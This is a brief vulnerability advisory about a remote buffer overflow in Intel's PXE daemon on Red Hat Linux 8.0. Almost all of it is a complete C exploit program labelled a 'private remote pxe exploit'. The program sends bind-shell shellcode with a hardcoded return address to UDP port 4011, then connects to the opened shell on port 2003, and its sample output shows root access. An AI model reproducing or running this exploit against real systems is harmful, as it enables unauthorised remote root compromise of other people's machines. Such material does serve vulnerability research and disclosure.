source: http://www.securityfocus.com/bid/7129/info

A vulnerability has been discovered in PXE which is included with Red Hat Linux. Specifically, it is possible for a remote attacker to overrun a buffer by passing excessive data to the service. This may result in the corruption of sensitive process memory, and as such may allow an attacker to execute arbitrary commands.

This issue has been reported to exist in PXE 2.0 Beta-1 on Red Hat Linux. Other versions may also be affected by this vulnerability.


me: 85pxe.c
/
\  Target daemon: Intel PXE daemon, PXE-2.0 Beta-1 (build 001)
/
\  Created by CrZ [crazy_einstein@yahoo.com] LByte [lbyte.void.ru] /13.03.03/
/
\  Bug was discovered by n-arrow @efnet
/
\  !!! PRIVATE REMOTE PXE EXPLOIT !!!
/
\  Description: pxe is a daemon included in RedHat8.0 distr.
/               this daemon bind socket on 4011 udp port.
\
/  Important Note: pxe will crush if return address isn't valid.
\                  So.. make sure that return address is valid :)
/  
\  Tested against: RedHat 8.0 (Psyche)
/
\  Example of work:
/
\[crz@blacksand tmp]$ ./85pxe -h blacksand -t 0
/
\LimpidByte private remote pxe exploit by CrZ [crazy_einstein@yahoo.com]
/
\[!] Connecting to blacksand:4011
/[+] Connected!
\[!] Using 0xbffff05c return address!
/[>] Sending shellcode!
\[*] Trying to connect to blacksand:2003 port!!! Pray for success!
/[*] Sleeping at 2 seconds...
\[!] Connected! Here comes the shell baby...x)
/
\uid=0(root) gid=0(root)
/Linux blacksand 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
\exit
/[!] Connection closed.
\[crz@blacksand tmp]$
/
\
*/
#include <stdio.h>
#include <netinet/in.h>  
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
/* bind shell upon 2003 port */
char shell[] =
         "\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
         "\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d"
 "\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16"
 "\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10"
 "\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45"
 "\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"
 "\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
 "\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
  
struct TARGETS {
char *distr;
long ret;
} targets[] = { {"RedHat 8.0 (Psyche)", 0xbffff05c} };
 
long getip(char *hostname) {
struct hostent *he;
long ipaddr;

if ((ipaddr = inet_addr(hostname)) < 0) {
if ((he = gethostbyname(hostname)) == NULL) {
perror("gethostbyname()");
exit(-1);
}
memcpy(&ipaddr, he->h_addr, he->h_length);
}
return ipaddr;
}
void usage(char *prog) {
int i=0;

printf("\nUsage: %s <-h www.victim.com> [-p port] [-t target] [-r manual_retaddr]\n\nTargets:\n",prog);
while(targets[i++].distr) printf("\t[%d] -> %s\n",i-1,targets[i-1].distr);
printf("\n");
exit(0);
}
int main(int argc, char **argv) {
 
    int i=0;     
    struct sockaddr_in sockstruct;
    struct hostent *HOST;
    char tmp[10000];
    int sock;
    fd_set  rset;
int port=4011,shellport=2003;
char *victim=NULL;
long ret=0,ret1,ret2,ret3;
printf("\nLimpidByte private remote pxe exploit by CrZ [crazy_einstein@yahoo.com]\n");
for(i=0;i<argc;i++) {
if(argv[i][1]=='h') victim=argv[i+1];
if(argv[i][1]=='p') port=atoi(argv[i+1]);
if(argv[i][1]=='t') ret=targets[atoi(argv[i+1])].ret;
                if(argv[i][1]=='r') sscanf(argv[i+1],"0x%x",&ret);
}
if(!victim || ret==0) usage(argv[0]);
/* prepare for our smart trick :) */
ret1=ret+2;
ret2=ret+3;
ret3=ret;
    
    sock=socket(PF_INET,SOCK_DGRAM,17);
    sockstruct.sin_family=PF_INET; 
    sockstruct.sin_addr.s_addr=getip(victim);
    sockstruct.sin_port=htons(port);
    printf("\n[!] Connecting to %s:%d\n",victim,port);
   
      if(connect(sock,(struct sockaddr*)&sockstruct,sizeof(sockstruct))>-1) {
        printf("[+] Connected!\n",i);
/* the main trick */
bzero(tmp,sizeof tmp);
memcpy(tmp,&ret1,4);
memcpy(tmp+4,&ret2,4);
memset(tmp+8,0x90,894-8);
memcpy(tmp+894,&shell,sizeof shell);
memcpy(tmp+1024,&ret3,4);
printf("[!] Using 0x%x return address!\n",ret);
printf("[>] Sending shellcode!\n");
write(sock,tmp,1024 + 4);
      }
    
      close(sock);
printf("[*] Trying to connect to %s:%d port!!! Pray for success!\n",victim,shellport);
printf("[*] Sleeping at 2 seconds...\n");
sleep(2);

        sock=socket(PF_INET,SOCK_STREAM,0);
bzero(sockstruct.sin_zero,sizeof(sockstruct.sin_zero));
sockstruct.sin_family=PF_INET; 
        sockstruct.sin_addr.s_addr=getip(victim);
        sockstruct.sin_port=htons(shellport);
        if(connect(sock,(struct sockaddr*)&sockstruct,sizeof(sockstruct))>-1) {
        printf("[!] Connected! Here comes the shell baby...x)\n\n");
        write(sock, "id;uname -a\n", 12); 
        while (1) {
                FD_ZERO(&rset);
                FD_SET(sock,&rset);
                FD_SET(STDIN_FILENO,&rset);
                select(sock + 1, &rset, NULL, NULL, NULL);
       if (FD_ISSET(sock, &rset)) {
                        i = read(sock, tmp, sizeof(tmp) - 1);
                        if (i <= 0) {
                                printf("[!] Connection closed.\n");
                                close(sock);
                                exit(0);
                        }
                        tmp[i] = 0;
                        printf("%s", tmp);
                }
                if (FD_ISSET(STDIN_FILENO, &rset)) {
                        i = read(STDIN_FILENO, tmp, sizeof(tmp) - 1);
                        if (i > 0) {
                                tmp[i]=0;
                                write(sock, tmp, i);
                        }
                }
        }
        } else printf("[x] Bad luck x(\n\n");
        close(sock);

      
    return 0;
}